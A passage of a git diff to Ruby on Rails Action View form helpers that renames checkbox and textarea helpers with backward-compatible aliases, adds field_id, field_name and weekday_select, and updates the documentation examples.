@@ -691,7 +725,7 @@ def collection_radio_buttons(object, method, collection, value_method, text_meth
       #   end
       #
       # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
-      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+      #   collection_checkboxes(:post, :author_ids, Author.all, :id, :name_with_initial)
       #
       # If <tt>@post.author_ids</tt> is already <tt>[1]</tt>, this would return:
       #   <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
@@ -704,8 +738,8 @@ def collection_radio_buttons(object, method, collection, value_method, text_meth
       #
       # It is also possible to customize the way the elements will be shown by
       # giving a block to the method:
-      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
-      #     b.label { b.check_box }
+      #   collection_checkboxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+      #     b.label { b.checkbox }
       #   end
       #
       # The argument passed to the block is a special kind of builder for this
@@ -714,17 +748,17 @@ def collection_radio_buttons(object, method, collection, value_method, text_meth
       # Using it, you can change the label and check box display order or even
       # use the label as wrapper, as in the example above.
       #
-      # The builder methods <tt>label</tt> and <tt>check_box</tt> also accept
+      # The builder methods <tt>label</tt> and <tt>checkbox</tt> also accept
       # extra HTML options:
-      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
-      #     b.label(class: "check_box") { b.check_box(class: "check_box") }
+      #   collection_checkboxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+      #     b.label(class: "checkbox") { b.checkbox(class: "checkbox") }
       #   end
       #
       # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
       # <tt>value</tt>, which are the current item being rendered, its text and value methods,
       # respectively. You can use them like this:
-      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
-      #      b.label(:"data-value" => b.value) { b.check_box + b.text }
+      #   collection_checkboxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+      #      b.label(:"data-value" => b.value) { b.checkbox + b.text }
       #   end
       #
       # ==== Gotcha
@@ -747,9 +781,10 @@ def collection_radio_buttons(object, method, collection, value_method, text_meth
       #
       # In the rare case you don't want this hidden field, you can pass the
       # <tt>include_hidden: false</tt> option to the helper method.
-      def collection_check_boxes(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+      def collection_checkboxes(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
         Tags::CollectionCheckBoxes.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
       end
+      alias_method :collection_check_boxes, :collection_checkboxes
 
       private
         def option_html_attributes(element)
@@ -787,16 +822,16 @@ def extract_selected_and_disabled(selected)
 
         def extract_values_from_collection(collection, value_method, selected)
           if selected.is_a?(Proc)
-            collection.map do |element|
-              element.send(value_method) if selected.call(element)
-            end.compact
+            collection.filter_map do |element|
+              element.public_send(value_method) if selected.call(element)
+            end
           else
             selected
           end
         end
 
         def value_for_collection(item, value)
-          value.respond_to?(:call) ? value.call(item) : item.send(value)
+          value.respond_to?(:call) ? value.call(item) : item.public_send(value)
         end
 
         def prompt_text(prompt)
@@ -807,74 +842,87 @@ def prompt_text(prompt)
     class FormBuilder
       # Wraps ActionView::Helpers::FormOptionsHelper#select for form builders:
       #
-      #   <%= form_for @post do |f| %>
+      #   <%= form_with model: @post do |f| %>
       #     <%= f.select :person_id, Person.all.collect { |p| [ p.name, p.id ] }, include_blank: true %>
       #     <%= f.submit %>
       #   <% end %>
       #
       # Please refer to the documentation of the base helper for details.
       def select(method, choices = nil, options = {}, html_options = {}, &block)
-        @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options), &block)
+        @template.select(@object_name, method, choices, objectify_options(options), @default_html_options.merge(html_options), &block)
       end
 
       # Wraps ActionView::Helpers::FormOptionsHelper#collection_select for form builders:
       #
-      #   <%= form_for @post do |f| %>
+      #   <%= form_with model: @post do |f| %>
       #     <%= f.collection_select :person_id, Author.all, :id, :name_with_initial, prompt: true %>
       #     <%= f.submit %>
       #   <% end %>
       #
       # Please refer to the documentation of the base helper for details.
       def collection_select(method, collection, value_method, text_method, options = {}, html_options = {})
-        @template.collection_select(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
+        @template.collection_select(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_html_options.merge(html_options))
       end
 
       # Wraps ActionView::Helpers::FormOptionsHelper#grouped_collection_select for form builders:
       #
-      #   <%= form_for @city do |f| %>
+      #   <%= form_with model: @city do |f| %>
       #     <%= f.grouped_collection_select :country_id, @continents, :countries, :name, :id, :name %>
       #     <%= f.submit %>
       #   <% end %>
       #
       # Please refer to the documentation of the base helper for details.
       def grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
-        @template.grouped_collection_select(@object_name, method, collection, group_method, group_label_method, option_key_method, option_value_method, objectify_options(options), @default_options.merge(html_options))
+        @template.grouped_collection_select(@object_name, method, collection, group_method, group_label_method, option_key_method, option_value_method, objectify_options(options), @default_html_options.merge(html_options))
       end
 
       # Wraps ActionView::Helpers::FormOptionsHelper#time_zone_select for form builders:
       #
-      #   <%= form_for @user do |f| %>
+      #   <%= form_with model: @user do |f| %>
       #     <%= f.time_zone_select :time_zone, nil, include_blank: true %>
       #     <%= f.submit %>
       #   <% end %>
       #
       # Please refer to the documentation of the base helper for details.
       def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
-        @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_options.merge(html_options))
+        @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_html_options.merge(html_options))
+      end
+
+      # Wraps ActionView::Helpers::FormOptionsHelper#weekday_select for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.weekday_select :weekday, include_blank: true %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def weekday_select(method, options = {}, html_options = {})
+        @template.weekday_select(@object_name, method, objectify_options(options), @default_html_options.merge(html_options))
       end
 
-      # Wraps ActionView::Helpers::FormOptionsHelper#collection_check_boxes for form builders:
+      # Wraps ActionView::Helpers::FormOptionsHelper#collection_checkboxes for form builders:
       #
-      #   <%= form_for @post do |f| %>
-      #     <%= f.collection_check_boxes :author_ids, Author.all, :id, :name_with_initial %>
+      #   <%= form_with model: @post do |f| %>
+      #     <%= f.collection_checkboxes :author_ids, Author.all, :id, :name_with_initial %>
       #     <%= f.submit %>
       #   <% end %>
       #
       # Please refer to the documentation of the base helper for details.
-      def collection_check_boxes(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
-        @template.collection_check_boxes(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options), &block)
+      def collection_checkboxes(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        @template.collection_checkboxes(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_html_options.merge(html_options), &block)
       end
+      alias_method :collection_check_boxes, :collection_checkboxes
 
       # Wraps ActionView::Helpers::FormOptionsHelper#collection_radio_buttons for form builders:
       #
-      #   <%= form_for @post do |f| %>
+      #   <%= form_with model: @post do |f| %>
       #     <%= f.collection_radio_buttons :author_id, Author.all, :id, :name_with_initial %>
       #     <%= f.submit %>
       #   <% end %>
       #
       # Please refer to the documentation of the base helper for details.
       def collection_radio_buttons(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
-        @template.collection_radio_buttons(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options), &block)
+        @template.collection_radio_buttons(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_html_options.merge(html_options), &block)
       end
     end
   end
diff --git a/actionview/lib/action_view/helpers/form_tag_helper.rb b/actionview/lib/action_view/helpers/form_tag_helper.rb
index ffc64e7118bbb..ee0ed105f6092 100644
--- a/actionview/lib/action_view/helpers/form_tag_helper.rb
+++ b/actionview/lib/action_view/helpers/form_tag_helper.rb
@@ -1,11 +1,15 @@
-require "cgi"
-require "action_view/helpers/tag_helper"
+# frozen_string_literal: true
+
+require "action_view/helpers/content_exfiltration_prevention_helper"
+require "action_view/helpers/url_helper"
+require "action_view/helpers/text_helper"
 require "active_support/core_ext/string/output_safety"
 require "active_support/core_ext/module/attribute_accessors"
 
 module ActionView
-  # = Action View Form Tag Helpers
-  module Helpers
+  module Helpers # :nodoc:
+    # = Action View Form Tag \Helpers
+    #
     # Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like
     # FormHelper does. Instead, you provide the names and values manually.
     #
@@ -16,11 +20,14 @@ module FormTagHelper
 
       include UrlHelper
       include TextHelper
+      include ContentExfiltrationPreventionHelper
 
       mattr_accessor :embed_authenticity_token_in_remote_forms
-      self.embed_authenticity_token_in_remote_forms = false
+      self.embed_authenticity_token_in_remote_forms = nil
 
-      # Starts a form tag that points the action to a url configured with <tt>url_for_options</tt> just like
+      mattr_accessor :default_enforce_utf8, default: true
+
+      # Starts a form tag that points the action to a URL configured with <tt>url_for_options</tt> just like
       # ActionController::Base#url_for. The method for the form defaults to POST.
       #
       # ==== Options
@@ -58,6 +65,9 @@ module FormTagHelper
       #   <%= form_tag('/posts', remote: true) %>
       #   # => <form action="/posts" method="post" data-remote="true">
       #
+      #   form_tag(false, method: :get)
+      #   # => <form method="get">
+      #
       #   form_tag('http://far.away.com/form', authenticity_token: false)
       #   # form without authenticity token
       #
@@ -73,6 +83,65 @@ def form_tag(url_for_options = {}, options = {}, &block)
         end
       end
 
+      # Generate an HTML <tt>id</tt> attribute value for the given name and
+      # field combination
+      #
+      # Return the value generated by the <tt>FormBuilder</tt> for the given
+      # attribute name.
+      #
+      #   <%= label_tag :post, :title %>
+      #   <%= text_field :post, :title, aria: { describedby: field_id(:post, :title, :error) } %>
+      #   <%= tag.span("is blank", id: field_id(:post, :title, :error) %>
+      #
+      # In the example above, the <tt><input type="text"></tt> element built by
+      # the call to <tt>text_field</tt> declares an
+      # <tt>aria-describedby</tt> attribute referencing the <tt><span></tt>
+      # element, sharing a common <tt>id</tt> root (<tt>post_title</tt>, in this
+      # case).
+      def field_id(object_name, method_name, *suffixes, index: nil, namespace: nil)
+        if object_name.respond_to?(:model_name)
+          object_name = object_name.model_name.singular
+        end
+
+        sanitized_object_name = object_name.to_s.gsub(/\]\[|[^-a-zA-Z0-9:.]/, "_").delete_suffix("_")
+
+        sanitized_method_name = method_name.to_s.delete_suffix("?")
+
+        [
+          namespace,
+          sanitized_object_name.presence,
+          (index unless sanitized_object_name.empty?),
+          sanitized_method_name,
+          *suffixes,
+        ].tap(&:compact!).join("_")
+      end
+
+      # Generate an HTML <tt>name</tt> attribute value for the given name and
+      # field combination
+      #
+      # Return the value generated by the <tt>FormBuilder</tt> for the given
+      # attribute name.
+      #
+      #   <%= text_field :post, :title, name: field_name(:post, :title, :subtitle) %>
+      #   <%# => <input type="text" name="post[title][subtitle]"> %>
+      #
+      #   <%= text_field :post, :tag, name: field_name(:post, :tag, multiple: true) %>
+      #   <%# => <input type="text" name="post[tag][]"> %>
+      #
+      def field_name(object_name, method_name, *method_names, multiple: false, index: nil)
+        names = method_names.map! { |name| "[#{name}]" }.join
+
+        # a little duplication to construct fewer strings
+        case
+        when object_name.blank?
+          "#{method_name}#{names}#{multiple ? "[]" : ""}"
+        when index
+          "#{object_name}[#{index}][#{method_name}]#{names}#{multiple ? "[]" : ""}"
+        else
+          "#{object_name}[#{method_name}]#{names}#{multiple ? "[]" : ""}"
+        end
+      end
+
       # Creates a dropdown selection box, or if the <tt>:multiple</tt> option is set to true, a multiple
       # choice selection box.
       #
@@ -113,7 +182,7 @@ def form_tag(url_for_options = {}, options = {}, &block)
       #   #    <option>Write</option></select>
       #
       #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: true
-      #   # => <select id="people" name="people"><option value=""></option><option value="1">David</option></select>
+      #   # => <select id="people" name="people"><option value="" label=" "></option><option value="1">David</option></select>
       #
       #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: "All"
       #   # => <select id="people" name="people"><option value="">All</option><option value="1">David</option></select>
@@ -130,10 +199,11 @@ def form_tag(url_for_options = {}, options = {}, &block)
       #   #    <option selected="selected">MasterCard</option></select>
       def select_tag(name, option_tags = nil, options = {})
         option_tags ||= ""
-        html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name
+        html_name = (options[:multiple] == true && !name.end_with?("[]")) ? "#{name}[]" : name
 
         if options.include?(:include_blank)
-          include_blank = options.delete(:include_blank)
+          include_blank = options[:include_blank]
+          options = options.except(:include_blank)
           options_for_blank_options_tag = { value: "" }
 
           if include_blank == true
@@ -142,15 +212,15 @@ def select_tag(name, option_tags = nil, options = {})
           end
 
           if include_blank
-            option_tags = content_tag("option".freeze, include_blank, options_for_blank_options_tag).safe_concat(option_tags)
+            option_tags = content_tag("option", include_blank, options_for_blank_options_tag).safe_concat(option_tags)
           end
         end
 
         if prompt = options.delete(:prompt)
-          option_tags = content_tag("option".freeze, prompt, value: "").safe_concat(option_tags)
+          option_tags = content_tag("option", prompt, value: "").safe_concat(option_tags)
         end
 
-        content_tag "select".freeze, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
+        content_tag "select", option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
       end
 
       # Creates a standard text field; use these text fields to input smaller chunks of text like a username
@@ -161,6 +231,8 @@ def select_tag(name, option_tags = nil, options = {})
       # * <tt>:size</tt> - The number of visible characters that will fit in the input.
       # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
       # * <tt>:placeholder</tt> - The text contained in the field by default which is removed when the field receives focus.
+      #   If set to true, use the translation found in the current I18n locale
+      #   (through helpers.placeholder.<modelname>.<attribute>).
       # * Any other key creates standard HTML attributes for the tag.
       #
       # ==== Examples
@@ -224,16 +296,20 @@ def label_tag(name = nil, content_or_options = nil, options = nil, &block)
       #
       # ==== Examples
       #   hidden_field_tag 'tags_list'
-      #   # => <input id="tags_list" name="tags_list" type="hidden" />
+      #   # => <input type="hidden" name="tags_list" id="tags_list" autocomplete="off" />
       #
       #   hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
-      #   # => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+      #   # => <input type="hidden" name="token" id="token" value="VUBJKB23UIVI1UU1VOBVI@" autocomplete="off" />
       #
       #   hidden_field_tag 'collected_input', '', onchange: "alert('Input collected!')"
-      #   # => <input id="collected_input" name="collected_input" onchange="alert('Input collected!')"
-      #   #    type="hidden" value="" />
+      #   # => <input type="hidden" name="collected_input" id="collected_input"
+      #        value="" onchange="alert(&#39;Input collected!&#39;)" autocomplete="off" />
       def hidden_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.merge(type: :hidden))
+        html_options = options.merge(type: :hidden)
+        unless ActionView::Base.remove_hidden_field_autocomplete
+          html_options[:autocomplete] = "off" unless html_options.key?(:autocomplete)
+        end
+        text_field_tag(name, value, html_options)
       end
 
       # Creates a file upload field. If you are using file uploads then you will also need
@@ -272,7 +348,7 @@ def hidden_field_tag(name, value = nil, options = {})
       #   file_field_tag 'file', accept: 'text/html', class: 'upload', value: 'index.html'
       #   # => <input accept="text/html" class="upload" id="file" name="file" type="file" value="index.html" />
       def file_field_tag(name, options = {})
-        text_field_tag(name, nil, options.merge(type: :file))
+        text_field_tag(name, nil, convert_direct_upload_option_to_url(options.merge(type: :file)))
       end
 
       # Creates a password field, a masked text field that will hide the users input behind a mask character.
@@ -320,24 +396,24 @@ def password_field_tag(name = "password", value = nil, options = {})
       # * Any other key creates standard HTML attributes for the tag.
       #
       # ==== Examples
-      #   text_area_tag 'post'
+      #   textarea_tag 'post'
       #   # => <textarea id="post" name="post"></textarea>
       #
-      #   text_area_tag 'bio', @user.bio
+      #   textarea_tag 'bio', @user.bio
       #   # => <textarea id="bio" name="bio">This is my biography.</textarea>
       #
-      #   text_area_tag 'body', nil, rows: 10, cols: 25
+      #   textarea_tag 'body', nil, rows: 10, cols: 25
       #   # => <textarea cols="25" id="body" name="body" rows="10"></textarea>
       #
-      #   text_area_tag 'body', nil, size: "25x10"
+      #   textarea_tag 'body', nil, size: "25x10"
       #   # => <textarea name="body" id="body" cols="25" rows="10"></textarea>
       #
-      #   text_area_tag 'description', "Description goes here.", disabled: true
+      #   textarea_tag 'description', "Description goes here.", disabled: true
       #   # => <textarea disabled="disabled" id="description" name="description">Description goes here.</textarea>
       #
-      #   text_area_tag 'comment', nil, class: 'comment_input'
+      #   textarea_tag 'comment', nil, class: 'comment_input'
       #   # => <textarea class="comment_input" id="comment" name="comment"></textarea>
-      def text_area_tag(name, content = nil, options = {})
+      def textarea_tag(name, content = nil, options = {})
         options = options.stringify_keys
 
         if size = options.delete("size")
@@ -349,54 +425,80 @@ def text_area_tag(name, content = nil, options = {})
 
         content_tag :textarea, content.to_s.html_safe, { "name" => name, "id" => sanitize_to_id(name) }.update(options)
       end
+      alias_method :text_area_tag, :textarea_tag
 
+      ##
+      # :call-seq:
+      #   checkbox_tag(name, options = {})
+      #   checkbox_tag(name, value, options = {})
+      #   checkbox_tag(name, value, checked, options = {})
+      #
       # Creates a check box form input tag.
       #
       # ==== Options
+      # * <tt>:value</tt> - The value of the input. Defaults to <tt>"1"</tt>.
+      # * <tt>:checked</tt> - If set to true, the checkbox will be checked by default.
       # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
       # * Any other key creates standard HTML options for the tag.
       #
       # ==== Examples
-      #   check_box_tag 'accept'
+      #   checkbox_tag 'accept'
       #   # => <input id="accept" name="accept" type="checkbox" value="1" />
       #
-      #   check_box_tag 'rock', 'rock music'
+      #   checkbox_tag 'rock', 'rock music'
       #   # => <input id="rock" name="rock" type="checkbox" value="rock music" />
       #
-      #   check_box_tag 'receive_email', 'yes', true
+      #   checkbox_tag 'receive_email', 'yes', true
       #   # => <input checked="checked" id="receive_email" name="receive_email" type="checkbox" value="yes" />
       #
-      #   check_box_tag 'tos', 'yes', false, class: 'accept_tos'
+      #   checkbox_tag 'tos', 'yes', false, class: 'accept_tos'
       #   # => <input class="accept_tos" id="tos" name="tos" type="checkbox" value="yes" />
       #
-      #   check_box_tag 'eula', 'accepted', false, disabled: true
+      #   checkbox_tag 'eula', 'accepted', false, disabled: true
       #   # => <input disabled="disabled" id="eula" name="eula" type="checkbox" value="accepted" />
-      def check_box_tag(name, value = "1", checked = false, options = {})
+      def checkbox_tag(name, *args)
+        if args.length >= 4
+          raise ArgumentError, "wrong number of arguments (given #{args.length + 1}, expected 1..4)"
+        end
+        options = args.extract_options!
+        value, checked = args.empty? ? ["1", false] : [*args, false]
         html_options = { "type" => "checkbox", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
         html_options["checked"] = "checked" if checked
         tag :input, html_options
       end
+      alias_method :check_box_tag, :checkbox_tag
 
+      ##
+      # :call-seq:
+      #   radio_button_tag(name, value, options = {})
+      #   radio_button_tag(name, value, checked, options = {})
+      #
       # Creates a radio button; use groups of radio buttons named the same to allow users to
       # select from a group of options.
       #
       # ==== Options
+      # * <tt>:checked</tt> - If set to true, the radio button will be selected by default.
       # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
       # * Any other key creates standard HTML options for the tag.
       #
       # ==== Examples
-      #   radio_button_tag 'gender', 'male'
-      #   # => <input id="gender_male" name="gender" type="radio" value="male" />
+      #   radio_button_tag 'favorite_color', 'maroon'
+      #   # => <input id="favorite_color_maroon" name="favorite_color" type="radio" value="maroon" />
       #
       #   radio_button_tag 'receive_updates', 'no', true
       #   # => <input checked="checked" id="receive_updates_no" name="receive_updates" type="radio" value="no" />
       #
       #   radio_button_tag 'time_slot', "3:00 p.m.", false, disabled: true
-      #   # => <input disabled="disabled" id="time_slot_300_pm" name="time_slot" type="radio" value="3:00 p.m." />
+      #   # => <input disabled="disabled" id="time_slot_3:00_p.m." name="time_slot" type="radio" value="3:00 p.m." />
       #
       #   radio_button_tag 'color', "green", true, class: "color_input"
       #   # => <input checked="checked" class="color_input" id="color_green" name="color" type="radio" value="green" />
-      def radio_button_tag(name, value, checked = false, options = {})
+      def radio_button_tag(name, value, *args)
+        if args.length >= 3
+          raise ArgumentError, "wrong number of arguments (given #{args.length + 2}, expected 2..4)"
+        end
+        options = args.extract_options!
+        checked = args.empty? ? false : args.first
         html_options = { "type" => "radio", "name" => name, "id" => "#{sanitize_to_id(name)}_#{sanitize_to_id(value)}", "value" => value }.update(options.stringify_keys)
         html_options["checked"] = "checked" if checked
         tag :input, html_options
@@ -409,16 +511,6 @@ def radio_button_tag(name, value, checked = false, options = {})
       # * <tt>:disabled</tt> - If true, the user will not be able to use this input.
       # * Any other key creates standard HTML options for the tag.
       #
-      # ==== Data attributes
-      #
-      # * <tt>confirm: 'question?'</tt> - If present the unobtrusive JavaScript
-      #   drivers will provide a prompt with the question specified. If the user accepts,
-      #   the form is processed normally, otherwise no action is taken.
-      # * <tt>:disable_with</tt> - Value of this parameter will be used as the value for a
-      #   disabled version of the submit button when the form is submitted. This feature is
-      #   provided by the unobtrusive JavaScript driver. To disable this feature for a single submit tag
-      #   pass <tt>:data => { disable_with: false }</tt> Defaults to value attribute.
-      #
       # ==== Examples
       #   submit_tag
       #   # => <input name="commit" data-disable-with="Save changes" type="submit" value="Save changes" />
@@ -429,18 +521,12 @@ def radio_button_tag(name, value, checked = false, options = {})
       #   submit_tag "Save edits", disabled: true
       #   # => <input disabled="disabled" name="commit" data-disable-with="Save edits" type="submit" value="Save edits" />
       #
-      #   submit_tag "Complete sale", data: { disable_with: "Submitting..." }
-      #   # => <input name="commit" data-disable-with="Submitting..." type="submit" value="Complete sale" />
-      #
       #   submit_tag nil, class: "form_submit"
       #   # => <input class="form_submit" name="commit" type="submit" />
       #
       #   submit_tag "Edit", class: "edit_button"
       #   # => <input class="edit_button" data-disable-with="Edit" name="commit" type="submit" value="Edit" />
       #
-      #   submit_tag "Save", data: { confirm: "Are you sure?" }
-      #   # => <input name='commit' type='submit' value='Save' data-disable-with="Save" data-confirm="Are you sure?" />
-      #
       def submit_tag(value = "Save changes", options = {})
         options = options.deep_stringify_keys
         tag_options = { "type" => "submit", "name" => "commit", "value" => value }.update(options)
@@ -454,7 +540,7 @@ def submit_tag(value = "Save changes", options = {})
       # submit tag but it isn't supported in legacy browsers. However,
       # the button tag does allow for richer labels such as images and emphasis,
       # so this helper will also accept a block. By default, it will create
-      # a button tag with type `submit`, if type is not given.
+      # a button tag with type <tt>submit</tt>, if type is not given.
       #
       # ==== Options
       # * <tt>:data</tt> - This option can be used to add custom data attributes.
@@ -462,17 +548,6 @@ def submit_tag(value = "Save changes", options = {})
       #   use this input.
       # * Any other key creates standard HTML options for the tag.
       #
-      # ==== Data attributes
-      #
-      # * <tt>confirm: 'question?'</tt> - If present, the
-      #   unobtrusive JavaScript drivers will provide a prompt with
-      #   the question specified. If the user accepts, the form is
-      #   processed normally, otherwise no action is taken.
-      # * <tt>:disable_with</tt> - Value of this parameter will be
-      #   used as the value for a disabled version of the submit
-      #   button when the form is submitted. This feature is provided
-      #   by the unobtrusive JavaScript driver.
-      #
       # ==== Examples
       #   button_tag
       #   # => <button name="button" type="submit">Button</button>
@@ -493,12 +568,6 @@ def submit_tag(value = "Save changes", options = {})
       #   #     <strong>Ask me!</strong>
       #   #    </button>
       #
-      #   button_tag "Save", data: { confirm: "Are you sure?" }
-      #   # => <button name="button" type="submit" data-confirm="Are you sure?">Save</button>
-      #
-      #   button_tag "Checkout", data: { disable_with: "Please wait..." }
-      #   # => <button data-disable-with="Please wait..." name="button" type="submit">Checkout</button>
-      #
       def button_tag(content_or_options = nil, options = nil, &block)
         if content_or_options.is_a? Hash
           options = content_or_options
@@ -532,22 +601,23 @@ def button_tag(content_or_options = nil, options = nil, &block)
       #
       # ==== Examples
       #   image_submit_tag("login.png")
-      #   # => <input alt="Login" src="/assets/login.png" type="image" />
+      #   # => <input src="/assets/login.png" type="image" />
       #
       #   image_submit_tag("purchase.png", disabled: true)
-      #   # => <input alt="Purchase" disabled="disabled" src="/assets/purchase.png" type="image" />
+      #   # => <input disabled="disabled" src="/assets/purchase.png" type="image" />
       #
       #   image_submit_tag("search.png", class: 'search_button', alt: 'Find')
-      #   # => <input alt="Find" class="search_button" src="/assets/search.png" type="image" />
+      #   # => <input class="search_button" src="/assets/search.png" type="image" />
       #
       #   image_submit_tag("agree.png", disabled: true, class: "agree_disagree_button")
-      #   # => <input alt="Agree" class="agree_disagree_button" disabled="disabled" src="/assets/agree.png" type="image" />
+      #   # => <input class="agree_disagree_button" disabled="disabled" src="/assets/agree.png" type="image" />
       #
       #   image_submit_tag("save.png", data: { confirm: "Are you sure?" })
-      #   # => <input alt="Save" src="/assets/save.png" data-confirm="Are you sure?" type="image" />
+      #   # => <input src="/assets/save.png" data-confirm="Are you sure?" type="image" />
       def image_submit_tag(source, options = {})
         options = options.stringify_keys
-        tag :input, { "alt" => image_alt(source), "type" => "image", "src" => path_to_image(source) }.update(options)
+        src = path_to_image(source, skip_pipeline: options.delete("skip_pipeline"))
+        tag :input, { "type" => "image", "src" => src }.update(options)
       end
 
       # Creates a field set for grouping HTML form elements.
@@ -571,18 +641,22 @@ def image_submit_tag(source, options = {})
       #   <% end %>
       #   # => <fieldset class="format"><p><input id="name" name="name" type="text" /></p></fieldset>
       def field_set_tag(legend = nil, options = nil, &block)
-        output = tag(:fieldset, options, true)
-        output.safe_concat(content_tag("legend".freeze, legend)) unless legend.blank?
-        output.concat(capture(&block)) if block_given?
-        output.safe_concat("</fieldset>")
+        content = []
+        content << content_tag("legend", legend) unless legend.blank?
+        content << capture(&block) if block_given?
+
+        content_tag(:fieldset, safe_join(content), options)
       end
+      alias_method :fieldset_tag, :field_set_tag
 
       # Creates a text field of type "color".
       #
       # ==== Options
-      # * Accepts the same options as text_field_tag.
+      #
+      # Supports the same options as #text_field_tag.
       #
       # ==== Examples
+      #
       #   color_field_tag 'name'
       #   # => <input id="name" name="name" type="color" />
       #
@@ -601,9 +675,11 @@ def color_field_tag(name, value = nil, options = {})
       # Creates a text field of type "search".
       #
       # ==== Options
-      # * Accepts the same options as text_field_tag.
+      #
+      # Supports the same options as #text_field_tag.
       #
       # ==== Examples
+      #
       #   search_field_tag 'name'
       #   # => <input id="name" name="name" type="search" />
       #
@@ -622,9 +698,11 @@ def search_field_tag(name, value = nil, options = {})
       # Creates a text field of type "tel".
       #
       # ==== Options
-      # * Accepts the same options as text_field_tag.
+      #
+      # Supports the same options as #text_field_tag.
       #
       # ==== Examples
+      #
       #   telephone_field_tag 'name'
       #   # => <input id="name" name="name" type="tel" />
       #
@@ -644,42 +722,81 @@ def telephone_field_tag(name, value = nil, options = {})
       # Creates a text field of type "date".
       #
       # ==== Options
-      # * Accepts the same options as text_field_tag.
+      #
+      # Supports the same options as #text_field_tag.
       #
       # ==== Examples
+      #
       #   date_field_tag 'name'
       #   # => <input id="name" name="name" type="date" />
       #
-      #   date_field_tag 'date', '01/01/2014'
-      #   # => <input id="date" name="date" type="date" value="01/01/2014" />
+      #   date_field_tag 'date', '2014-12-31'
+      #   # => <input id="date" name="date" type="date" value="2014-12-31" />
       #
       #   date_field_tag 'date', nil, class: 'special_input'
       #   # => <input class="special_input" id="date" name="date" type="date" />
       #
-      #   date_field_tag 'date', '01/01/2014', class: 'special_input', disabled: true
-      #   # => <input disabled="disabled" class="special_input" id="date" name="date" type="date" value="01/01/2014" />
+      #   date_field_tag 'date', '2014-12-31', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="date" name="date" type="date" value="2014-12-31" />
       def date_field_tag(name, value = nil, options = {})
         text_field_tag(name, value, options.merge(type: :date))
       end
 
       # Creates a text field of type "time".
       #
-      # === Options
+      # ==== Options
+      #
+      # Supports the same options as #text_field_tag. Additionally, supports:
+      #
       # * <tt>:min</tt> - The minimum acceptable value.
       # * <tt>:max</tt> - The maximum acceptable value.
       # * <tt>:step</tt> - The acceptable value granularity.
-      # * Otherwise accepts the same options as text_field_tag.
+      # * <tt>:include_seconds</tt> - Include seconds and ms in the output timestamp format (true by default).
+      #
+      # ==== Examples
+      #
+      #   time_field_tag 'name'
+      #   # => <input id="name" name="name" type="time" />
+      #
+      #   time_field_tag 'time', '01:01'
+      #   # => <input id="time" name="time" type="time" value="01:01" />
+      #
+      #   time_field_tag 'time', nil, class: 'special_input'
+      #   # => <input class="special_input" id="time" name="time" type="time" />
+      #
+      #   time_field_tag 'time', '01:01', include_seconds: true
+      #   # => <input id="time" name="time" type="time" value="01:01:00.000" />
+      #
+      #   time_field_tag 'time', '01:01', min: '00:00', max: '23:59', step: 1
+      #   # => <input id="time" max="23:59" min="00:00" name="time" step="1" type="time" value="01:01" />
       def time_field_tag(name, value = nil, options = {})
         text_field_tag(name, value, options.merge(type: :time))
       end
 
       # Creates a text field of type "datetime-local".
       #
-      # === Options
+      # ==== Options
+      #
+      # Supports the same options as #text_field_tag. Additionally, supports:
+      #
       # * <tt>:min</tt> - The minimum acceptable value.
       # * <tt>:max</tt> - The maximum acceptable value.
       # * <tt>:step</tt> - The acceptable value granularity.
-      # * Otherwise accepts the same options as text_field_tag.
+      # * <tt>:include_seconds</tt> - Include seconds in the output timestamp format (true by default).
+      #
+      # ==== Examples
+      #
+      #   datetime_field_tag 'name'
+      #   # => <input id="name" name="name" type="datetime-local" />
+      #
+      #   datetime_field_tag 'datetime', '2014-01-01T01:01'
+      #   # => <input id="datetime" name="datetime" type="datetime-local" value="2014-01-01T01:01" />
+      #
+      #   datetime_field_tag 'datetime', nil, class: 'special_input'
